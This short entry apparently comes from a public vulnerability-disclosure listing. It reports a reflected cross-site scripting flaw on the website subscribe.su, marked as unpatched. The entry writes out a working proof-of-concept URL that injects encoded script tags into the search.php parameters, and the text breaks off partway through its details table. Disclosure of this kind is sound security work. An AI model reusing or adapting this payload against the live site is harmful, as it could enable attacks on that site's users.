subscribe.su XSS vulnerability

Vulnerable URL: http://subscribe.su/search.php?a=0=%22%3E%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch...